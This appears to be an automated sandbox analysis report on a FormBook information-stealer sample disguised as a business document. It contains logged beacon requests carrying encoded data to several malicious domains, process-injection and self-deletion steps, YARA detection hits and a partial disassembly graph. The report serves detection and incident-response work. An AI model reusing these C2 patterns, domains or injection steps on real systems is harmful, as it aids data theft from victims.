                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e [TRUNCATED]
                                              Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Attention Required! | Cloud
                                              Jul 1, 2024 15:29:30.898529053 CEST1236INData Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65
                                              Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" conte
                                              Jul 1, 2024 15:29:30.898541927 CEST1236INData Raw: 62 6c 65 5f 74 6f 5f 61 63 63 65 73 73 22 3e 59 6f 75 20 61 72 65 20 75 6e 61 62 6c 65 20 74 6f 20 61 63 63 65 73 73 3c 2f 73 70 61 6e 3e 20 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 3c 2f 68 32 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d
                                              Data Ascii: ble_to_access">You are unable to access</span> myshopify.com</h2> </div>... /.header --> <div class="cf-section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full">
                                              Jul 1, 2024 15:29:30.898679018 CEST1236INData Raw: 6e 20 74 68 69 73 20 70 61 67 65 20 63 61 6d 65 20 75 70 20 61 6e 64 20 74 68 65 20 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 20 66 6f 75 6e 64 20 61 74 20 74 68 65 20 62 6f 74 74 6f 6d 20 6f 66 20 74 68 69 73 20 70 61 67 65 2e 3c 2f 70
                                              Data Ascii: n this page came up and the Cloudflare Ray ID found at the bottom of this page.</p> </div> </div> </div>... /.section --> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text
                                              Jul 1, 2024 15:29:30.898690939 CEST450INData Raw: 62 26 26 22 63 6c 61 73 73 4c 69 73 74 22 69 6e 20 62 26 26 28 62 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 68 69 64 64 65 6e 22 29 2c 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74
                                              Data Ascii: b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMC


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              2192.168.2.749708192.0.78.25804056C:\Windows\explorer.exe
                                              TimestampBytes transferredDirectionData
                                              Jul 1, 2024 15:30:10.443048954 CEST189OUTGET /ts59/?7n=axrGY/tHsVnNl5QwUQiA9FSVXiVl+cKu3zfjN+PR7I9fZgnn7wX4yTtY89Vmc3+NwxjOyoKz1w==&2d8=3fe8kxnx8zVX-2L HTTP/1.1
                                              Host: www.femininequantumflowcoach.com
                                              Connection: close
                                              Data Raw: 00 00 00 00 00 00 00
                                              Data Ascii:
                                              Jul 1, 2024 15:30:10.936852932 CEST526INHTTP/1.1 301 Moved Permanently
                                              Server: nginx
                                              Date: Mon, 01 Jul 2024 13:30:10 GMT
                                              Content-Type: text/html
                                              Content-Length: 162
                                              Connection: close
                                              Location: https://www.femininequantumflowcoach.com/ts59/?7n=axrGY/tHsVnNl5QwUQiA9FSVXiVl+cKu3zfjN+PR7I9fZgnn7wX4yTtY89Vmc3+NwxjOyoKz1w==&2d8=3fe8kxnx8zVX-2L
                                              X-ac: 2.jfk _dfw BYPASS
                                              Alt-Svc: h3=":443"; ma=86400
                                              Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                              Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              3192.168.2.7497093.33.130.190804056C:\Windows\explorer.exe
                                              TimestampBytes transferredDirectionData
                                              Jul 1, 2024 15:30:51.983298063 CEST176OUTGET /ts59/?7n=/870L+f5uYuMeX+RQ7xUOiQTdWqbXz9Ki2XQMm/qjwY6yFcouCApqHiIgf95TupcdCgvNrXz6Q==&2d8=3fe8kxnx8zVX-2L HTTP/1.1
                                              Host: www.zangbreaker.com
                                              Connection: close
                                              Data Raw: 00 00 00 00 00 00 00
                                              Data Ascii:
                                              Jul 1, 2024 15:30:52.470468998 CEST354INHTTP/1.1 200 OK
                                              Server: openresty
                                              Date: Mon, 01 Jul 2024 13:30:52 GMT
                                              Content-Type: text/html
                                              Content-Length: 214
                                              Connection: close
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 37 6e 3d 2f 38 37 30 4c 2b 66 35 75 59 75 4d 65 58 2b 52 51 37 78 55 4f 69 51 54 64 57 71 62 58 7a 39 4b 69 32 58 51 4d 6d 2f 71 6a 77 59 36 79 46 63 6f 75 43 41 70 71 48 69 49 67 66 39 35 54 75 70 63 64 43 67 76 4e 72 58 7a 36 51 3d 3d 26 32 64 38 3d 33 66 65 38 6b 78 6e 78 38 7a 56 58 2d 32 4c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                              Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?7n=/870L+f5uYuMeX+RQ7xUOiQTdWqbXz9Ki2XQMm/qjwY6yFcouCApqHiIgf95TupcdCgvNrXz6Q==&2d8=3fe8kxnx8zVX-2L"}</script></head></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              4192.168.2.7497103.64.163.50804056C:\Windows\explorer.exe
                                              TimestampBytes transferredDirectionData
                                              Jul 1, 2024 15:31:12.172122955 CEST173OUTGET /ts59/?7n=Q0rerqlMM+Mzf1m4EVXcVVXnMVAfvTa9yYuOwxw9IZ3XTRGu1uzNDOvhppaUL+BqZnD0gHwuuw==&2d8=3fe8kxnx8zVX-2L HTTP/1.1
                                              Host: www.babyscan.xyz
                                              Connection: close
                                              Data Raw: 00 00 00 00 00 00 00
                                              Data Ascii:


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              5192.168.2.74971113.248.169.48804056C:\Windows\explorer.exe
                                              TimestampBytes transferredDirectionData
                                              Jul 1, 2024 15:31:32.789277077 CEST176OUTGET /ts59/?7n=5Kzuc08NHZ8t10osRye94ZQvODLPm8mJty646c/dpAg/zLZpW1bo0yg/pue6LIfdumZDuAZHWw==&2d8=3fe8kxnx8zVX-2L HTTP/1.1
                                              Host: www.scarytube.world
                                              Connection: close
                                              Data Raw: 00 00 00 00 00 00 00
                                              Data Ascii:
                                              Jul 1, 2024 15:31:33.258588076 CEST354INHTTP/1.1 200 OK
                                              Server: openresty
                                              Date: Mon, 01 Jul 2024 13:31:33 GMT
                                              Content-Type: text/html
                                              Content-Length: 214
                                              Connection: close
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 37 6e 3d 35 4b 7a 75 63 30 38 4e 48 5a 38 74 31 30 6f 73 52 79 65 39 34 5a 51 76 4f 44 4c 50 6d 38 6d 4a 74 79 36 34 36 63 2f 64 70 41 67 2f 7a 4c 5a 70 57 31 62 6f 30 79 67 2f 70 75 65 36 4c 49 66 64 75 6d 5a 44 75 41 5a 48 57 77 3d 3d 26 32 64 38 3d 33 66 65 38 6b 78 6e 78 38 7a 56 58 2d 32 4c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                              Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?7n=5Kzuc08NHZ8t10osRye94ZQvODLPm8mJty646c/dpAg/zLZpW1bo0yg/pue6LIfdumZDuAZHWw==&2d8=3fe8kxnx8zVX-2L"}</script></head></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              6192.168.2.7497123.64.163.50804056C:\Windows\explorer.exe
                                              TimestampBytes transferredDirectionData
                                              Jul 1, 2024 15:31:53.227277994 CEST173OUTGET /ts59/?7n=cK9IFJet6pmJE86ae8KOHfirNs8pECX6NYxzkQ3MXT6vCvPIzrd8O4FQURVhV/WvD5THDom2OA==&2d8=3fe8kxnx8zVX-2L HTTP/1.1
                                              Host: www.robottts.com
                                              Connection: close
                                              Data Raw: 00 00 00 00 00 00 00
                                              Data Ascii:


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              7192.168.2.749713185.53.179.91804056C:\Windows\explorer.exe
                                              TimestampBytes transferredDirectionData
                                              Jul 1, 2024 15:32:13.734174013 CEST192OUTGET /ts59/?7n=mB8uG6w8zpafFuNLwvQmLBNoWWmhhT+Pa5pMyx7Kkg5PpWq+xUX3NBFKVo2JmSZYGQcG7mEBYw==&2d8=3fe8kxnx8zVX-2L HTTP/1.1
                                              Host: www.gb-electric-wheelchairs-8j.bond
                                              Connection: close
                                              Data Raw: 00 00 00 00 00 00 00
                                              Data Ascii:


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              8192.168.2.749714198.185.159.144804056C:\Windows\explorer.exe
                                              TimestampBytes transferredDirectionData
                                              Jul 1, 2024 15:32:34.341759920 CEST173OUTGET /ts59/?7n=CMI3XAkyIIc+lbzQFM0yBiMxIQj45W/6BGDFfPoe8SD5h+4DN1QfAHIl1f4AVZ60VX6NCS7/mA==&2d8=3fe8kxnx8zVX-2L HTTP/1.1
                                              Host: www.lostaino.com
                                              Connection: close
                                              Data Raw: 00 00 00 00 00 00 00
                                              Data Ascii:
                                              Jul 1, 2024 15:32:34.815437078 CEST1236INHTTP/1.1 400 Bad Request
                                              Cache-Control: no-cache, must-revalidate
                                              Content-Length: 2061
                                              Content-Type: text/html; charset=UTF-8
                                              Date: Mon, 01 Jul 2024 13:32:34 UTC
                                              Expires: Thu, 01 Jan 1970 00:00:00 UTC
                                              Pragma: no-cache
                                              Server: Squarespace
                                              X-Contextid: JHJ14fjd/v9rYknTo
                                              Connection: close
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d [TRUNCATED]
                                              Data Ascii: <!DOCTYPE html><head> <title>400 Bad Request</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> body { background: white; } main { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); text-align: center; min-width: 95vw; } main h1 { font-weight: 400; font-size: 4.6em; color: #191919; margin: 0 0 11px 0; } main p { font-size: 1.4em; color: #3a3a3a; font-weight: 400; line-height: 2em; margin: 0; } main p a { color: #3a3a3a; text-decoration: none; border-bottom: solid 1px #3a3a3a; } body { font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 12px; } #status-page { display: none; } footer { position: absolute; bottom: 22px; left: 0; width: 100%; text-align: center; line-height: 2em;
                                              Jul 1, 2024 15:32:34.815469980 CEST1124INData Raw: 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 31 31 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20
                                              Data Ascii: } footer span { margin: 0 11px; font-size: 1em; font-weight: 400; color: #a9a9a9; white-space: nowrap; } footer span strong { font-weight: 400; color: #191919; } @media (max-width: 600px) { body {


                                              Statistics

                                              CPU Usage

                                              Click to jump to process

                                              Memory Usage

                                              Click to jump to process

                                              High Level Behavior Distribution

                                              Click to dive into process behavior distribution

                                              Behavior

                                              Click to jump to process

                                              System Behavior

                                              General

                                              Target ID:0
                                              Start time:09:28:33
                                              Start date:01/07/2024
                                              Path:C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe"
                                              Imagebase:0xd80000
                                              File size:1'128'960 bytes
                                              MD5 hash:E03CEFCD99FEAF7CA8FD37A4BEC8280C
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                              • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                              • Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                              Reputation:low
                                              Has exited:true

                                              General

                                              Target ID:2
                                              Start time:09:28:33
                                              Start date:01/07/2024
                                              Path:C:\Windows\SysWOW64\svchost.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe"
                                              Imagebase:0xef0000
                                              File size:46'504 bytes
                                              MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                              • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                              • Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                              • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                              • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                              • Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                              • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                              • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                              • Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                              Reputation:moderate
                                              Has exited:true

                                              General

                                              Target ID:3
                                              Start time:09:28:34
                                              Start date:01/07/2024
                                              Path:C:\Windows\explorer.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\Explorer.EXE
                                              Imagebase:0x7ff70ffd0000
                                              File size:5'141'208 bytes
                                              MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 00000003.00000002.3822306235.000000000EBD0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                              Reputation:high
                                              Has exited:false

                                              General

                                              Target ID:4
                                              Start time:09:28:36
                                              Start date:01/07/2024
                                              Path:C:\Windows\SysWOW64\control.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Windows\SysWOW64\control.exe"
                                              Imagebase:0xc90000
                                              File size:149'504 bytes
                                              MD5 hash:EBC29AA32C57A54018089CFC9CACAFE8
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                              • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                              • Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                              • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                              • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                              • Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                              • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                              • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                              • Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                              Reputation:moderate
                                              Has exited:false

                                              General

                                              Target ID:5
                                              Start time:09:28:40
                                              Start date:01/07/2024
                                              Path:C:\Windows\SysWOW64\cmd.exe
                                              Wow64 process (32bit):true
                                              Commandline:/c del "C:\Windows\SysWOW64\svchost.exe"
                                              Imagebase:0x410000
                                              File size:236'544 bytes
                                              MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              General

                                              Target ID:6
                                              Start time:09:28:40
                                              Start date:01/07/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff75da10000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              Disassembly

                                              Reset < >

                                                Execution Graph

                                                Execution Coverage:4%
                                                Dynamic/Decrypted Code Coverage:0.4%
                                                Signature Coverage:6.5%
                                                Total number of Nodes:2000
                                                Total number of Limit Nodes:169
                                                execution_graph 98675 d8568a 98682 d85c18 98675->98682 98680 d856ba Mailbox 98701 da0ff6 98682->98701 98684 d85c2b 98685 da0ff6 Mailbox 59 API calls 98684->98685 98686 d8569c 98685->98686 98687 d85632 98686->98687 98739 d85a2f 98687->98739 98689 d85674 98689->98680 98693 d881c1 MultiByteToWideChar 98689->98693 98691 d85643 98691->98689 98746 d85d20 98691->98746 98752 d85bda 59 API calls 2 library calls 98691->98752 98694 d8822e 98693->98694 98695 d881e7 98693->98695 98756 d87eec 98694->98756 98696 da0ff6 Mailbox 59 API calls 98695->98696 98698 d881fc MultiByteToWideChar 98696->98698 98755 d878ad 59 API calls 2 library calls 98698->98755 98700 d88220 98700->98680 98703 da0ffe 98701->98703 98704 da1018 98703->98704 98706 da101c std::exception::exception 98703->98706 98711 da594c 98703->98711 98728 da35e1 DecodePointer 98703->98728 98704->98684 98729 da87db RaiseException 98706->98729 98708 da1046 98730 da8711 58 API calls _free 98708->98730 98710 da1058 98710->98684 98712 da59c7 98711->98712 98720 da5958 98711->98720 98737 da35e1 DecodePointer 98712->98737 98714 da59cd 98738 da8d68 58 API calls __getptd_noexit 98714->98738 98717 da598b RtlAllocateHeap 98717->98720 98727 da59bf 98717->98727 98719 da59b3 98735 da8d68 58 API calls __getptd_noexit 98719->98735 98720->98717 98720->98719 98721 da5963 98720->98721 98725 da59b1 98720->98725 98734 da35e1 DecodePointer 98720->98734 98721->98720 98731 daa3ab 58 API calls 2 library calls 98721->98731 98732 daa408 58 API calls 8 library calls 98721->98732 98733 da32df GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 98721->98733 98736 da8d68 58 API calls __getptd_noexit 98725->98736 98727->98703 98728->98703 98729->98708 98730->98710 98731->98721 98732->98721 98734->98720 98735->98725 98736->98727 98737->98714 98738->98727 98740 d85a40 98739->98740 98741 dbe065 98739->98741 98740->98691 98753 dd6443 59 API calls Mailbox 98741->98753 98743 dbe06f 98744 da0ff6 Mailbox 59 API calls 98743->98744 98745 dbe07b 98744->98745 98747 d85d93 98746->98747 98751 d85d2e 98746->98751 98754 d85dae SetFilePointerEx 98747->98754 98748 d85d56 98748->98691 98750 d85d66 ReadFile 98750->98748 98750->98751 98751->98748 98751->98750 98752->98691 98753->98743 98754->98751 98755->98700 98757 d87f06 98756->98757 98759 d87ef9 98756->98759 98758 da0ff6 Mailbox 59 API calls 98757->98758 98758->98759 98759->98700 98760 d8e70b 98763 d8d260 98760->98763 98762 d8e719 98764 d8d27d 98763->98764 98792 d8d4dd 98763->98792 98765 dc2b0a 98764->98765 98766 dc2abb 98764->98766 98795 d8d2a4 98764->98795 98837 dfa6fb 341 API calls __cinit 98765->98837 98769 dc2abe 98766->98769 98777 dc2ad9 98766->98777 98770 dc2aca 98769->98770 98769->98795 98835 dfad0f 341 API calls 98770->98835 